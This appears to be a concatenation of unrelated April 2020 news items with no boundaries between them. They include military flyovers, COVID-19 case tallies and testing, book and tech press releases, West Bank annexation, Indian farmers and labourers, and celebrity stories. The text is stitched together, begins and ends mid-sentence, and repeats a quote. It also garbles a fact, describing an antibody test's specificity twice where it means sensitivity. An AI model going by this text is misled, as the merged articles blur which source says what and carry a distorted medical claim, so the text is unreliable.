will be conducted by a formation of 6 F-16C/D Fighting Falcon and 6 F-18C/D Hornet aircraft and will begin at 12pm ET from New York City and Newark. The flyovers in New York City, Newark and the surrounding areas will last approximately 35 minutes. Trenton flyovers will begin at 1.45pm and last approximately 10 minutes, with flyovers set to begin in Philadelphia at 2pm and last 20 minutes. According to the Navy, residents in the flight path can expect a few seconds of loud noises from the jets along with the sight of 12 high-performance aircraft flying close in precise formation. The military branch also reminded citizens that the tribute should be viewed while following social distancing guidelines and that people should not attempt to gather in crowds to watch the planes fly overhead. Residents in these areas will be able to see the flyover from the safety of their home- quarantine and should maintain all social distancing guidelines during this event. They should also refrain from travelling to landmarks, hospitals and gathering in large groups to view the flyover. A detailed flight route will be released on the day prior to the flyover, the organisation said. Those who do manage to capture images of the flight paths are encouraged to share them on social media with the hashtag #AmericaStrong. According to President Trump, Tuesdays flyovers, which have been named Operation America Strong, are just one of many planned throughout the US. Operation America Strong was the idea of our great military men and women," the president said Thursday, according to CBS News. "The Thunderbirds and the Blue Angels crews who wanted to show support to the American medical workers, who just like military members in a time of war are fiercely running forward [in] the fight." On Monday, military jets flew over South Carolina hospitals in a similar tribute. The coronavirus pandemic, the worst that the world is facing in a century, spread across the globe very fast, and affected millions. It started from China in December, and has so far devastated more than 200 countries. The total number of Covid-19 affected patients has crossed three million. The virus has spread from United States to Europe, with Italy leading the European tally in terms of fatalities. In India, meanwhile, the number of coronavirus disease Covid-19 cases crossed the 29,000-mark on Tuesday. Here is a list of 10 countries with most number of Covid-19 cases and fatalities: United States The US has been hardest hit by the spread of Covid-19. It has recorded almost a million cases and the number of dead has surpassed 55,000, according to a tally by Johns Hopkins University. The countrys death toll is inching towards 58,000-mark - the number of US troops killed during the Vietnam War. Spain The European country has the second-highest number of Covid-19 cases in the world, at 2,29,422. The number of deaths in the country is above 23,000. Italy Italy is not far behind from Spain in number of Covid-19 cases. The country, known for its best medical facilities, has 1,99,414 positive cases and the second-highest number of coronavirus deaths at 26,977. Its Lombardy region has been the hardest hit. France With 1,64,589 cases, France has taken the next spot in the countries worst affected by the spread of coronavirus disease Covid-19. The number of people who have died from coronavirus infection in France rose by 437 to 23,293. Germany One of the power houses of Europe, Germany has recorded 1,58,758 cases of coronavirus disease Covid-19. However, death tol in the country - at 5,750 - is far lower as compare to other European neighbours. The low death rate in Germany is attributed in part to it having imposed a strict lockdown earlier than other countries relative to when the first case was detected. Britain The number of Covid-19 cases has reached 1,57,149 in the United Kingdom. Prime Minister Boris Johnson is the first high-profile leader to have contracted the disease. He spent more than a week in hospital - three of them in the intensive care - and returned to work on Monday. The number of fatalities in the country stands at 21,092. Turkey The country has recorded 1,12,261 cases of coronavirus disease Covid-19. Ninety five more people have died in the country due to Covid-19, taking the death toll to 2,900, health ministry data showed. Iran Iran is one of the Middle Eastern countries hardest hit by the pandemic. The death toll from Covid-19 in Iran has risen to 5,806, the countrys health ministry said on Monday. The total number of diagnosed cases of new coronavirus in Iran has reached 91,472. Russia Russia overtook China in the number of confirmed Covid-19 cases, when its tally climbed above 87,000, as pressure rose on the government to consider easing lockdown restrictions for businesses. Almost 800 (794 to be exact) people have died of the disease in the country. The worlds largest country by territory has been on lockdown since President Vladimir Putin announced the closure of most public spaces in late March. China The country from where the coronavirus infection spread to the world, has 82,836 positive cases, including 648 patients who were still being treated and 77,555 people discharged from hospitals. The death toll in China from the coronavirus disease stands at 4,633. Valerie Cunningham, an avid reader, lifelong writer, and animal lover who owns a wood crafting business with her husband, Ben, has published her new book The Interesting Tale of Loggam Maggel: an inspiring tale celebrating the profound and positive good even one person can effect in the world. Growing up with very little, Loggam was a simple man with simple needs. One day, his life would suddenly change. It wouldnt necessarily be the prize that meant the most to him, but the idea it sparked that would change the course of his life. You never quite know what or whom you can unearth in the deep woods of the forest. Loggam Maggel isnt just an interesting name but also a very special person with an interesting name. From the time he was a young child, he had a contagious way of spreading joy and love to those around him. Growing up beside Alabamas Red Fir State Park, Loggam spent most of his life meeting travelers from all corners of the world. Follow Loggam as he learns and experiences a variety of cultures through the kindness of travelers visiting the park. See the trajectory of his life and the lives of those he encountered shift serendipitously. Loggam becomes a world traveler as he traverses the mountain passes of Red Fir State Park. Through laughter, love, and sorrow, Loggam learns the true value of each and every day and the opportunity to spread joy and kindness. Through each turn of the page, join Loggam as he carves a pumpkin, roasts marshmallows, listens to scary stories, goes on a hayride, decorates a Christmas tree, and best of all, finds the love of his life. Share in the sweet tender moments of a young blooming romance that will last a lifetime. Love both given and received in every form fills the pages and hearts among the Loggam Maggel family. Published by Page Publishing, Valerie Cunninghams engrossing book is a spellbinding work of realistic fiction for readers of all ages. Readers who wish to experience this engaging work can purchaseThe Interesting Tale of Loggam Maggel at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. Source: Xinhua| 2020-04-28 21:18:33|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- About 72 percent of the 45 major chain catering brands in Beijing had resumed operations as of Monday, local authorities said Tuesday. Beijing has rolled out a spate of policies to support catering enterprises, which were hit hard by the COVID-19 epidemic, Liu Meiying, deputy director of the Beijing Municipal Commerce Bureau, told a press briefing. The capital has cut rents by up to 70 percent for key chain restaurants, food shops, convenience stores and other outlets that are severely affected by the virus outbreak or those that have ensured the basic livelihood of citizens in the epidemic prevention and control work, Liu said. According to the official, Beijing has also set up a green channel to help the needed in the fight against the epidemic. To better meet the needs of the public, the city has been promoting online orders and delivery services to expand the sales channels to the largest extent, Liu added. With more people eating out as the virus outbreak has been basically contained, Beijing will promote "safe restaurants" meeting certain qualifications, Liu Yuchi, executive vice president of Beijing Cuisine Association, said on Tuesday. According to Liu, the "safe restaurants" are those with complete licenses and operate for more than a year, with no serious bad credit records in the past year. These restaurants have to implement the epidemic prevention and control requirements and their employees need to take body temperatures daily. Enditem Val Arkoosh, chair of the Montgomery County Commissioners, speaks during a March 18 news conference about the coronavirus at the county's emergency operations center in Eagleville. Read more With coronavirus cases rising in nearly all the regions jails, prisons, and detention centers, Montgomery County officials set out last week to determine just how entrenched the disease had become behind bars and tested every inmate in their custody. What they found was sobering, and could indicate infection rates at corrections facilities across Southeastern Pennsylvania are several times higher than what is currently being detected. Of the 948 inmates, 177 or roughly 18% of the countys incarcerated population tested positive, a rate of infection more than 30 times greater than what Montgomery County had identified before it began its mass testing over two days last week. Perhaps more surprising, said Val Arkoosh, chairperson of the countys board of commissioners, 171 of those positive inmates exhibited no symptoms at the time their tests were administered. The results offer crucial new data for epidemiologists studying asymptomatic transmission and suggest that many more people than previously believed may have caught and unwittingly spread the virus, which has caused the death of nearly 1,900 Pennsylvanians so far. This could tell us a lot about the number of people who might have the virus but arent showing symptoms and may never show symptoms, said Aimee Palumbo, an assistant professor of epidemiology at Temple University. Montgomery County knows who is positive [now] and can monitor these people in a closed setting to see if they develop symptoms down the road, or if theyre truly asymptomatic. HELP US REPORT: Are you a health-care worker, medical provider, government worker, patient, frontline worker, or other expert? We want to hear from you. The countys findings largely track with those of other mass testing experiments conducted in closed environments across the nation over the last month, including a prison system in Ohio and two homeless shelters in Massachusetts. The U.S. Navy tested all 4,800 crew members of the USS Theodore Roosevelt amid a coronavirus outbreak on board. The ships percentage of positive cases 12%, or 600 sailors was slightly lower than that of the Montgomery County jail, as was its asymptomatic rate. But at 60%, the number of sailors who showed no symptoms despite positive tests was high. READ MORE: One Philadelphia prison has yet to report a single case of the coronavirus. But it hasnt tested any inmates. Arkoosh, a physician with a background in public health, said the results of the Roosevelt testing spurred her idea to test all of the jails inmates and staff over 48 hours last week. At the time, the county had identified only six inmates with the coronavirus. I just knew there had to be more, she said in an interview Tuesday. What happened on the Roosevelt made it clear to me that young, healthier people could be showing no symptoms when they contract this and that it could be a large cohort. What her findings mean for the population at large remains unclear. Palumbo, the Temple epidemiologist, cautioned against drawing too many broad conclusions from results at a jail, where cramped quarters make proper hygiene and implementing recommended social distancing guidelines a challenge. Its likely, she said, that the rate of infection among people who are not incarcerated would be much lower. But if the roughly 18% infection rate in Montgomery Countys jail is applied to other corrections facilities across the region, a startling picture begins to emerge. READ MORE: What its like to be locked in prison during the coronavirus pandemic For example, a similar rate in the roughly 3,600 population of the Philadelphia jails would mean as many as 682 inmates there could be infected already. City officials had only reported 190 positive tests as of Tuesday. In Delaware County, where the GEO Group, the for-profit company that runs the George W. Hill Correctional Facility, is currently conducting similar mass testing on its inmates and staff, the number of positive inmate cases could be as high as 196, according to an Inquirer analysis based on Montgomery Countys findings. Epidemiologists say the growing body of evidence from mass testing experiments suggests that the coronavirus could be harmless for a much wider swath of the population than previously thought. But it also raises sobering questions about the limits of contact tracing and other tactics that public health experts have relied upon so far to control transmission. Arkoosh has said for weeks that testing all residents and staff in group-living facilities like nursing homes and jails is the only way to catch up with the virus spread. Given that 96% of those who tested positive in the Montgomery County jail were asymptomatic, yet still presumably capable of spreading the disease, Palumbo wondered what that meant for efforts to stop transmission among broader swaths of the population. Those answers become even more important as governments make decisions about how they will avoid a second wave of infections as they begin to lift stay-at-home orders and reopen their economies. Not many asymptomatic people are being tested at this point, she said. We just dont have the capabilities yet. READ MORE: New Jersey announced a coronavirus prison release plan. Two weeks later, not one inmate has been let out. City officials in Philadelphia said Tuesday that in an ideal world, they, too, would conduct similar mass testing. But already facing a shortage of testing supplies and limited laboratory capacity, expending resources on experiments like Montgomery Countys isnt feasible at this time, they said. It isnt clear that testing all the other people who dont have symptoms really would have a real benefit, Health Commissioner Thomas Farley said. Right now, were trying to sort of do the testing that makes the clearest sense for infection control. But in Montgomery County, the results are already shaping the way officials are responding to the disease. The county has moved the 171 positive inmates into isolation wards and put an additional 500 inmates, who had close contact with those infected, into quarantine. At least, we hope, weve got the vast majority of people safely in isolation or quarantine, separated from those who are negative, Arkoosh said. These are 950 human beings. I think its our responsibility to care for those individuals as safely and humanely as we can. Staff writer Laura McCrystal contributed to this article. Source: Xinhua| 2020-04-28 10:18:51|Editor: huaxia Video Player Close NEW YORK, April 27 (Xinhua) -- Governor of the U.S. state of New York Andrew Cuomo said Monday that he would extend the PAUSE order in hard-hit regions amid the COVID-19 pandemic. "May 15 is when the PAUSE regulations expire statewide. I will extend them in many parts of the state," said Cuomo at his daily briefing. The PAUSE order, which shuts down non-essential businesses and closes public schools statewide, went into effect on March 22 and has been extended twice before the state reached the peak of infections. Meanwhile, some other regions less impacted by the pandemic will be reopened when the deadline passes, said Cuomo. The state would closely monitor the rates of hospitalization, infection rates, and the results of antibody testing and diagnostic testing before taking the next step. "We have to be smart because if you are not smart, you will see that infection rate go right back to where it was," he warned. On Sunday, Cuomo said at a briefing the state would implement a phased strategy by first reopening the construction and manufacturing sectors before making decisions on businesses on a case-by-case basis, depending on how essential they are. New York state reported 337 deaths on Sunday, the lowest of the month, and over 1,000 new hospitalizations, according to Cuomo. By Monday, a total of 7,500 people have undergone the state's COVID-19 antibody testing, and 14.9 percent tested positive, up from the 13.9 percent by April 22 with 5,000 samples, Cuomo noted. The results showed that while 24.7 percent of people in New York City tested positive, the rate was around 2 percent or even lower in many counties of upstate New York, which could justify a phased reopening plan. New York City Mayor Bill de Blasio said at his briefing on Monday that at least 40 miles of city streets will be closed to traffic so that New Yorkers will have more space to walk around or exercise. A new method of testing will be applied in city-run clinics, where people collect samples themselves under the direction of health care workers. The "self-swab" tests will reduce those frontline workers' risk of getting infected, as the traditional way often leads to sneezing and coughing of the person who is receiving the test, said de Blasio. Meanwhile, the city announced that it would hire 1,000 health workers to track people who had contact with individuals tested positive for the coronavirus. "We are hiring immediately and we'll be hiring throughout the month of May," said the mayor. He noted that a broad capacity of testing and widespread contact tracing are essential to the state and the city's reopening planning. "Every time someone tests positive, immediately we can swing into action, figure out who were their close contacts and get those people tested to isolate anyone who needs isolation," he added. Also on Monday, officials at the State Board of Elections voted to cancel New York's Democratic presidential primary scheduled for June 23, making it the first state to do so due to the COVID-19 pandemic. By Monday evening, over 291,000 people have been tested positive for coronavirus in the state, with more than 160,000 in New York City, according to data compiled by Johns Hopkins University. Enditem A South Dakota man was arrested on suspicion of money laundering after being stopped with over $200,000 in his minivan Monday in southern Oregon, troopers say. An Oregon State Police sergeant pulled over Drew Miller on several traffic violations on Oregon 66 near the community of Keno, the agency said. The sergeant saw undescribed signs of criminal activity, in the 2019 Dodge Caravan, according to the state police. A search ensued, and $236,090 was found in vacuum-sealed bags. Miller, a 27-year-old Sioux Falls man, was arrested on suspicion of several charges, troopers said. Hes being held in the Klamath County Jail. -- Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015 Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. As many as 78 per cent coronavirus patients in Haryana are male and many of the total cases fall in the young age group bracket. Besides, Tablighi Jamaat members account for 46 per cent of the cases, Health Minister Anil Vij said on Tuesday while sharing data from the state health department. As on April 25, data pertaining to 273 positive cases in the state revealed that 78 per cent per cent patients were male while 22 per cent were female, he said. As many as 74 cases were of people in the 25-34 age group, 53 cases were in the 15-24 age group, 22 in the 65-74 age category while no patient was above 85 years of age. "The Tablighi Jamaat people accounted for 46 per cent of the cases, international travellers 14.5 per cent, health staff 18.7 per cent, domestic travellers 6.2 per cent. Contacts of positive cases accounted for 48.18 per cent cases, while contacts of Tablighis were 20.7 per cent, vendor/shopkeepers etc. accounted for 28.10 per cent," he said. Haryana saw the maximum weekly spike of 86 new cases between April 7-13 when majority of the cases related to attendees of the Tablighi Jamaat congregation were detected.The religious congregation attended by several thousand people was held in Delhi's Nizamuddin last month where a many were reported to have contracted the virus, apparently from foreign delegates. Meanwhile on Tuesday, seven fresh cases were reported from some of Haryana's districts falling in the National Capital Region and the total number of coronavirus cases rose to 308 in the state. While three fresh cases were reported from Jhajjar district which was coronavirus-free until Sunday, Sonipat reported two and Panipat one case, according to the state health department's daily bulletin. Sonipat has the maximum number of active cases at 20 followed by Gurgaon (15) and Nuh (11). The worst-affected districts of the state with maximum number of positive cases are Nuh (57), Gurgaon (51), Faridabad (46), Palwal (34), Sonipat (24) and Panchkula (18). The state health minister had on Sunday said many of the coronavirus positive patients in the NCR districts including Sonipat, Gurgaon and Faridabad had been found to have contracted infection from people in the national capital. There are now a total of 81 active COVID-19 patients in the state while the positive cases discharged after recovery so far are 224. The state has recorded three COVID-19-related deaths, the bulletin said. As on Tuesday evening, the state further improved its recovery rate from 70.76 per cent to 72.72 per cent. The fatality rate was 0.97 per cent, COVID-19 positive rate (proportion of positive cases to total tests conducted) was 1.34 per cent, rate of doubling of cases was 20 days, while tests per million being conducted were 979, as per the bulletin. Among the 24 foreign nationals who tested positive, 14 were Italian tourists. Later 13 of them were discharged while one elderly woman in the group recently died even though she had recovered from coronavirus. The other ten foreign nationals found positive are from Sri Lanka, Nepal, Thailand, South Africa and Indonesia while 64 patients in the state are from other states, as per the bulletin. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Education experts say schools can stop students falling behind due to the COVID-19 crisis if they act quickly to work out where they are struggling in crucial subjects and make sure they catch up. They warn disadvantaged students will not be the only ones suffering by the disruption, and say it will also affect hesitant learners, those who were already struggling, and kids whose parents became "learning police" during their weeks of home learning. Influential education researcher John Hattie studied the impact of lost learning after the Christchurch earthquake, and said some students improved afterwards because teachers acted quickly to diagnose learning gaps and overcome them. "Coming back is going to be the hardest thing," he said. "My worry is that schools will wait until [students] all come back [to diagnose gaps], and we can't afford to wait. We need to be smart about doing diagnosis about who is making progress, and who is not. Irving, Texas, April 28, 2020 - Atos North America was recently awarded a multi-year contract with the State of Texas' Department of Information Resources (DIR) to deliver next generation private cloud transformation and artificial intelligence and machine learning capabilities. This modernization will automate processes, create efficiencies, free-up resources and improve service delivery quality for the state's agencies and residents. The Texas Private Cloud will provide server computing, data center facilities and data center network management services for DIR's government customers. Atos' delivery of infrastructure services for servers, networks and data center operations will create an ecosystem that is adaptive, resilient, affordable and secure. "The Texas Department of Information Resources has re-imagined how to address the state's business and technical dynamics to better position the State of Texas for the digital future," said Todd Kimbriel, State of Texas Chief Information Officer, Texas Department of Information Resources. "DIR has partnered with Atos to provide a secure, scalable and agile private cloud platform. We look forward to this continuing partnership and the way our partners reimagine the delivery of digital services." Working with the State of Texas since 2012, Atos looks forward to working toward DIR's objectives to streamline and empower its suite of shared services to efficiently and cost-effectively serve the state's agencies and institutions of higher education facilities. "We are dedicated to helping the State of Texas take on its profound and exciting changes as it executes an ambitious state-wide commitment to modernize technical resources and digital capabilities amid an unprecedented growth in population. The new contract will require an innovative mindset, in-house expertise and refined skill sets to produce the intended outcomes and ensure services can be delivered in the most productive and secure ways," said Beth Howen, Vice President, Head of Public Sector & Defense, Atos in North America. To learn more about how Atos is securing and optimizing the private cloud platforms at the core of the enterprise, please visit Atos Managed Private Cloud . *** About Atos In North America, Atos IT solutions and Services, Inc. is a leader in digital transformation with more than 11,000 technologists delivering Big Data and Analytics, Security, Private and Public Cloud, Digital Workplace, Modernization and Transformation solutions. For more information, please visit atos.net/na or follow @AtosNA on Twitter and @AtosNAM on Facebook. Press contacts: Maggie Wainscott | maggie.wainscott@atos.net| +1 903 262 8169 Attachment April 28, 2020 Catapult Billing Platform Honored for Exceptional Innovation Fairhope, Alabama -- 4/28/2020 Altaworx (News - Alert) announced today that TMC, a global, integrated media company, has named their Catapult Billing Platform as a 2020 TMC (News - Alert) Labs INTERNET TELEPHONY Innovation Award winner presented byINTERNET TELEPHONY magazine.The TMC Labs INTERNET TELEPHONY Innovation Award honors products that display innovation, unique features, and significant contributions toward improving communications technology. Theawards are bestowed to those companies demonstrating ground-breaking contributions to the industry. The Catapult Ecosystem is a win for companies who want to build recurring white label UCaaS revenue correctly, without making a large investment to start, stated Forrest Derr, President of Altaworx. The Catapult Billing Platform is an ecosystem that includes white label UCaaS with automated billing and compliance. The UCaaS platform also provides robocall blocking, toll fraud prevention and revenue assurance integration features. The TMC Labs INTERNET TELEPHONY Innovation Award recognizes the best and the most unique products and services that this industry has to offer. Altaworx has proven their commitment to quality and the further development of the IP communications industry through its Catapult Billing Platform, stated Rich Tehrani, CEO, TMC.Congratulations to the entire team at Altaworx for earning this great honor. I look forward to seeing more innovative solutions from them as they continue to contribute to the future of IP communications, Tehrani added. The 2020 TMC Labs Innovation Award winners will be highlighted on TMCnet and INTERNET TELEPHONY magazines online news portal. About Altaworx Altaworx, located in Fairhope, AL was founded in 2003 by Rickie Richey (News - Alert), with hopes of addressing the emerging demand for Voice Over Internet Protocol (VoIP) business telephone systems. His vision was to build a company that not only provided leading-edge technology, but truly focused on helping customers drive revenue, control expenses, increase their productivity and operate more efficiently. In 2011, Altaworx continued to focus on customer impact through emerging technologies, becoming an internet telephony service provider (ITSP). The company began selling Altaworx branded SIP trunking and Hosted PBX to business customers in the 22 state AT&T (News - Alert) footprint. Today, the company operates its cloud-based solutions from two AT&T data centers located in both Dallas, TX and Atlanta, GA. With a focus on empowering resellers to build equity value in their business, Altaworx continues to grow. About INTERNET TELEPHONY magazine INTERNET TELEPHONY magazine has been the IP CommunicationsAuthority since 1998. Beginning withthe first issue in February of 1998, INTERNET TELEPHONY has been providing unbiased views of the complicated converged communications space. INTERNET TELEPHONY offers rich content from solutions-focused editorial content to reviews on products and services from TMC Labs. INTERNET TELEPHONY magazine reaches more than 225,000 readers, including pass-along readers. For more information, please visit www.itmag.com. About TMC Through education, industry news, live events and social influence, global buyers rely on TMCs content-driven marketplaces to make purchase decisions and navigate markets. As a result, leading technology vendors turn to TMC for unparalleled branding, thought leadership and lead generation opportunities. Our in-person and online events deliver unmatched visibility and sales prospects for all percipients. Through our custom lead generation programs, we provide clients with an ongoing stream of leads that turn into sales opportunities and build databases. Additionally, we bolster brand reputations with the millions of impressions from display advertising on our news sites and newsletters. Making TMC a 360 degree marketing solution, we offer comprehensive event and road show management services and custom content creation with expertly ghost-crafted blogs, press releases, articles and marketing collateral to help with SEO, branding, and overall marketing efforts. For more information about TMC and to learn how we can help you reach your marketing goals, please visitwww.tmcnet.com and follow us on Facebook, LinkedIn and Twitter, @tmcnet Altaworx Contact: Forrest Derr President 404-902-5657 [email protected] TMC Contact: Stephanie Thompson Manager 203-852-6800, ext. 139 [email protected] Edited by Maurice Nagle Palestinians reject application of Israeli law on occupied WB areas, saying it will shut the door on two-state solution. The United States said it was ready to recognise Israels annexation of much of the occupied West Bank, but asked the new unity government also to negotiate with the Palestinians. Prime Minister Benjamin Netanyahu, who has reached a power-sharing deal to remain in office after three inconclusive elections, has vowed to press ahead with annexations that the Palestinians say will shut the door on a two-state solution. A Middle East vision unveiled in January by US President Donald Trump gave a green light to annexations. Netanyahus coalition deal with centrist Benny Gantz agreed the cabinet would consult Washington before moving forward. But Palestinians have expressed outrage at Israels plans to cement its hold further on land it seized in the 1967 war, territory they are seeking for a future state. The European Union has also criticised Trumps plan as failing to achieve a two-state solution. As we have made consistently clear, we are prepared to recognise Israeli actions to extend Israeli sovereignty and the application of Israeli law to areas of the West Bank that the vision foresees as being part of the State of Israel, a US State Department spokesperson said on Monday. The step would be in the context of the Government of Israel agreeing to negotiate with the Palestinians along the lines set forth in President Trumps Vision, she said. The statement came after Netanyahu said on Monday he was confident the US would give Israel the approval within two months to move ahead with the de facto annexation of parts of the occupied West Bank. Trump, whose evangelical Christian support base is staunchly pro-Israel, has granted a wish-list to Netanyahu over the past three years. His so-called Middle East plan would let Israel annex Jewish settlements in the occupied West Bank which the rest of the world considers illegal and impose sovereignty all the way to Jordan. The Palestinians would be granted a sovereign but demilitarised entity along with promises of major investment. The Palestinian states capital would be on the outskirts of Jerusalem, the holy city that would remain fully under Israeli sovereignty. The State Departments comments expand on remarks to reporters last week by Secretary of State Mike Pompeo, who said annexation was ultimately an Israeli decision. Condemnation Palestinians have flatly rejected the Trump proposal, partly because it awards Israel most of what it has sought during decades of conflict, including nearly all the occupied land on which it has built settlements. The Palestinians have already threatened to cancel existing peace agreements if Netanyahu moves forward with his plan, while the EU foreign policy chief said annexation would be a violation of international law and force the bloc to act accordingly. The UNs Middle East envoy said such a step would ignite the region. The Palestinians and much of the international community regard Israels settlements in the occupied West Bank as illegal under the Geneva Conventions that bar settling on land captured in war. Israel disputes this, citing security needs and biblical, historical and political connections to the land. The Arab League plans to hold a virtual meeting this week to discuss the annexation plan, which under the Israeli coalition deal could happen as soon as July. Unable to find a proper rate for the onions she has produced, a farmer from Chitradurga made a fervent appeal to Chief Minister B S Yediyurappa to bail out farmers like her during the COVID-19 lockdown period. Through a video message, which has now gone viral, the farmer from Katanayakanahalli in Hiriyur Taluk of the district explained her plight. "I ask you, Chief Minister B S Yediyurappa, please respond to our plight and give us some relief.We are not asking you for money. Purchase the crop we have grown at a good price and do us a favour," the farmer said. The grower said while the whole nation is under lockdown, no one has stopped eating right from the Prime Minister to the soldier and the doctors. "Whether there is lockdown or not, farmer has not stopped growing food," the woman said. As the video went viral, Chief MInister B S Yediyurappa called the farmer Vasantha and said he has directed the deputy commissioner of Chitradurga district to speak to her and resolve the issue. He hailed Vasantha saying she is intelligent. Elaborating her hardship, Vasantha said middlemen agree to pay Rs 250 per sack of onion whereas the production cost is Rs 500 to Rs 600. "The bag used for packing costs Rs 45, the harvesting of onion filled in each sack costs Rs 35. The onion seed costs Rs 1,400 and the fertiliser costs somewhere between Rs 5,000 and Rs 6,000," she said. This besides the labour cost involved right from sowing to harvest, to despatching to the storage room, packaging and then transportation to the APMC Yard. The crop cannot be stored for long for want of price because in this summer season the onion perish rapidly,the farmer said. "To grow each sack of onion, the expenditure itself is Rs 500 to Rs 600 but they (middlemen) are asking each sack of onion for Rs 250. What else the option before the farmer other than committing suicide," she lamented. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) As many as 2,700 labourers hailing from Punjab will reach their respective districts from various parts of Rajasthan on Tuesday in 60 buses. These labourer, belonging to different districts of Punjab, were being ferried from Ratangarh, Mohangarh and Jaisalmer districts of Rajasthan by the state government. So far, 12 buses have arrived at Gumjal, an inter-state border checkpost in Abohar, a sub-division of Fazilka district. The local health authorities are scanning these labourers before they move forward. These labourers includes 1,150 from Fazilka district who along with others were working in various spheres of live but got struck up following imposition of lockdown to fight novel coronavirus in entire nation, said Arwind Pal Singh Sandhu, deputy commissioner, Fazilka. All 60 buses will reach here today only and after due medical screening, their will be allowed to continue their journey till final destinations, said Sandhu. Thirty students from Punjab, studying in Rajasthans Kota, had arrived in Fazilka on Monday night. Out of these, 13 students who belonged to Fazilka, were allowed to go with an order to follow mandatory home quarantine after proper medical screening by the health authorities while rest moved further for their respective destinations. Eight of the Sikh pilgrims who had recently returned from Maharashtras Nanded tested positive for coronavirus on Monday, prompting a decision to quarantine and test all those who are brought to Punjab from there. With this, the infection count in the state has gone up to 330. Meanwhile, a 63-year-old woman in Patiala died of coronavirus, taking the death tally to 19 in Punjab, an official said. Here is Trump suggesting that ingesting disinfectants may cure the coronavirus. Here he is trashing reporters on Twitter who won Pulitzer Prizes by talking about revoking their Nobel Prizes but misspelling it as Noble. Here he is claiming he will somehow punish reporters by not having his near-daily briefings and then changing his mind, as a press aide quips that reporters should be kept on their toes. Chelseas Jeff Daniels will perform a free concert Monday night to raise money for his Purple Rose Theatre Company, with the expectation that his recent tribute to Detroit Tigers Hall of Famer Al Kaline will be a part of the performance. Daniels will stream the concert, beginning at 7:30 p.m., from his home studio To view the concert or make a donation, click on the Jeff Daniels concert link. The Emmy-award winning actor wrote and performed a tribute to Kaline, who died April 6, 2020. The unplugged concert is free, but Daniels is asking for donations to help the company in the wake of the coronavirus pandemic. The theatre, located in Chelsea, was founded by Daniels in 1991. MORE Jeff Daniels to perform free concert Monday night Jeff Daniels to screen Guest Artist at Michigan Theater in Ann Arbor Jeff Daniels to play James Comey in miniseries about former FBI Directors book Actor Jeff Daniels on why he moved back to Michigan: I didnt think the career would last Founder Jeff Daniels gets the last laugh as Purple Rose Theatre Company begins 20th season Six months after actress Felicity Huffman was released from prison following her guilty plea in participating in a college admissions cheating scheme, her daughter has announced her college acceptance. According to People, Huffman and actor William H. Macys 19-year-old daughter, Sophia Macy, has been accepted into Carnegie Mellon University. Located in Pittsburgh, PA, Carnegie Mellon University was ranked #25 in National Universities in US News and World Reports 2020 edition of best colleges. Felicity Huffman arrives at the federal courthouse with her husband William H. Macy. / REUTERS Sophia will reportedly be studying in the schools theater program, having been announced as a cast member in season 2 of CBS The Twilight Zone earlier this year. This news comes after Huffman, 57, served 11 days in a California federal prison, in addition to being fined $30,000 and ordered to complete 250 hours of community service. The former Desperate Housewives actress received her sentence after she pleaded guilty to fraud and conspiracy for paying an admissions consultant $15,000 to have a proctor correct Sophias SAT answers. William H. Macy, daughter Georgia Macy, Felicity Huffman and daughter Sofia Macy in 2014 / FilmMagic People reported that Sophias 2019 college acceptance was rescinded following the scandal, but had no knowledge of her mothers actions. I am in full acceptance of my guilt, and with deep regret and shame over what I have done, I accept full responsibility for my actions and will accept the consequences that stem from those actions, Huffman previously said to the magazine in a statement last year. My daughter knew absolutely nothing about my actions, and in my misguided and profoundly wrong way, I have betrayed her, she added, confirming that Sophia had no involvement in the admissions scandal. New Delhi, April 28 : A 55-year-old Sub-Inspector with the CRPF, who had tested positive for coronavirus, passed away at the Safdarjung Hospital here on Tuesday. Union Home Minister Amit Shah mourned the death of the CRPF Sub-Inspector, calling it an "irreparable loss". Posted with the 31st Battalion in Noida, the SI succumbed to the dreaded virus due to "breathlessness" during the treatment at around 4 p.m., an official of the CRPF said. The Central Reserve Police Force (CRPF) SI, a resident of Barpeta in Assam, got the infection from a nursing assistant of the force who had tested positive earlier this month. The SI was reported Covid-19 positive on April 24 and was admitted to the Safdarjung Hospital. A total of 30 other CRPF personnel, who came in contact with the nursing assistant, are under quarantine at the Delhi government's facility in Mandoli. The information came at a time when the deadly virus has already snuffed out 54 lives in the national capital, besides infecting over 3,000 people. Expressing condolence, Home Minister Shah tweeted: "I am deeply saddened to learn about the death of the brave Sub-Inspector of CRPF who was fighting the coronavirus infection. He fought heroically with the disease until the end. His contribution to the service and internal security of the country inspires all of us." Shah said that he had spoken to the family members of the SI over phone on Sunday. "Losing a brave soldier of the country is an irreparable loss for all of us. I express my condolences to his family. The entire country and the Central government are standing with his family in this hour of grief," the Home Minister said. CRPF Director General Anand Prakash Maheshwari in a tweet said that the SI fought valiantly but succumbed to the viral infection. "The CRPF SI contracted the viral infection on the line of duty. He faced it valiantly, but succumbed. We stand shoulder with the family in this hour of grief and reiterate our commitment to the people," Maheshwari said. The White House coronavirus task force testing expert revealed on Tuesday that the CDC was examining antibody tests that are performing 'very well' and that results of a government study on the subject would become available soon. Assistant Secretary for Health Admiral Brett P. Giroir said during an interview with Good Morning America on Tuesday that there were some tests that were not reliable, as has been widely reported, but that some were promising. He did not say which of the tests the government is hopeful about or when they would become available on a mass scale. It came as Quest Diagnostics, a private company, announced it was selling its tests to the public for $119 and carry it out on themselves at home. Quest primarily uses a highly-accurate antibody test made by Abbott, which the company says is 100% specific to coronavirus - meaning it does not mistake antibodies developed against other infections as coronavirus ones - and 99.5 specific, meaning it almost never misses someone who has been infected. 'As we've stated many times, the point of care antibody tests could be fraught with inaccuracies. 'The point of care antibody tests could be fraught with inaccuracies. Scroll down for video Assistant Secretary for Health Admiral Brett P. Giroir said during an interview with Good Morning America on Tuesday that there were some tests that were not reliable, as has been widely reported, but that some were promising .@ABC NEWS EXCLUSIVE: Assistant 